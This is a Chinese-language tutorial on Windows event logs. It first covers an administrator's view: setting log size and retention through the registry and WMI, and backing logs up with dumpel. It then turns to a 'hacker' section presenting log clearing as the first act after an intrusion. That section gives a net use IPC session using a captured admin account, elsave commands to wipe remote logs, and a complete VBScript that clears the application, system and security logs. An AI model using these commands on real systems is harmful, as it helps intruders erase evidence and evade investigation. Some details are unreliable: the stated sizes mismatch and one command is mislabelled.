Windows日志的保護與偽造

　　二：作為網絡管理員：

　　1.日志的安全配置：

　　默認的條件下，日志的大小為512KB大小，如果超出則會報錯，并且不會再記錄任何日志。所以首要任務是更改默認大小，具體方法：注冊表中HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog對應的每個日志如系統，安全，應用程序等均有一個maxsize子鍵，修改即可。

　　下面給出一個來自微軟站點的一個腳本，利用VMI來設定日志最大25MB,并允許日志自行覆蓋14天前的日志：

strComputer = "."
Set objWMIService = GetObject（"winmgmts:" _
& "{impersonationLevel=impersonate,（Security）}!\\" & _
strComputer & "\root\cimv2"） '獲得VMI對象
Set colLogFiles = objWMIService.ExecQuery _
（"Select * from Win32_NTEventLogFile"）
For each objLogfile in colLogFiles
strLogFileName = objLogfile.Name
Set wmiSWbemObject = GetObject _
（"winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2:" _
& "Win32_NTEventlogFile.Name='" & strLogFileName & "'"）
wmiSWbemObject.MaxFileSize = 2500000000
wmiSWbemObject.OverwriteOutdated = 14
wmiSWbemObject.Put_
Next

　　將上述腳本用記事本存盤為vbs為后綴的即可使用。

　　另外需要說明的是代碼中的strComputer="."在Windows腳本中的含義相當于localhost,如果要在遠程主機上執行代碼，只需要把"."改動為主機名,當然首先得擁有對方主機的管理員權限并建立IPC連接.本文中的代碼所出現的strComputer均可作如此改動。

　　2. 日志的查詢與備份：

　　一個優秀的管理員是應該養成備份日志的習慣，如果有條件的話還應該把日志轉存到備份機器上或直接轉儲到打印機上，在這里推薦微軟的resourceKit工具箱中的dumpel.exe，他的常用方法：

　　dumpel -f filename -s \\server -l log

　　-f filename 輸出日志的位置和文件名

　　-s \\server 輸出遠程計算機日志

　　-l log log 可選的為system,security,application,可能還有別的如DNS等.

　　如要把目標服務器server上的系統日志轉存為backupsystem.log可以用以下格式：

　　dumpel \\server -l system -f backupsystem.log

　　再利用計劃任務可以實現定期備份系統日志。

　　另外利用腳本編程的VMI對象也可以輕而易舉的實現日志備份：

　　三：作為黑客

　　1、日至清除

　　一個入侵系統成功后的黑客第一件事便是清除日志，如果以圖形界面遠程控制對方機器或是從終端登陸進入，刪除日志不是一件困難的事，由于日志雖然也是作為一種服務運行，但不同于http,ftp這樣的服務，可以在命令行下先停止，再刪除，在m命令行下用net stop eventlog是不能停止的，所以有人認為在命令行下刪除日志是很困難的，實際上不是這樣，下面介紹幾種方法:

　�。�1）借助第三方工具：如小榕的elsave.exe遠程清除system,applicaton,security的軟件，使用方法很簡單，首先利用獲得的管理員賬號與對方建立ipc會話，net use \\ip pass /user: user
然后命令行下：elsave -s \\ip -l application -C，這樣就刪除了安全日志。

　　其實利用這個軟件還可以進行備份日志，只要加一個參數 -f filename就可以了，在此不再詳述。

　�。�2）利用腳本編程中的VMI，也可以實現刪除日志，首先獲得object對象，然后利用其clearEventLog（）方法刪除日志。源代碼：

cleanevent.vbs
strComputer = "."
Set objWMIService = GetObject（"winmgmts:" _
& "{impersonationLevel=impersonate,（Backup）}!\\" & _
strComputer & "\root\cimv2"）
dim mylogs（3）
mylogs（1）="application"
mylogs（2）="system"
mylogs（3）="security"
for Each logs in mylogs
Set colLogFiles = objWMIService.ExecQuery _
（"Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'"）
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog（）
Next
next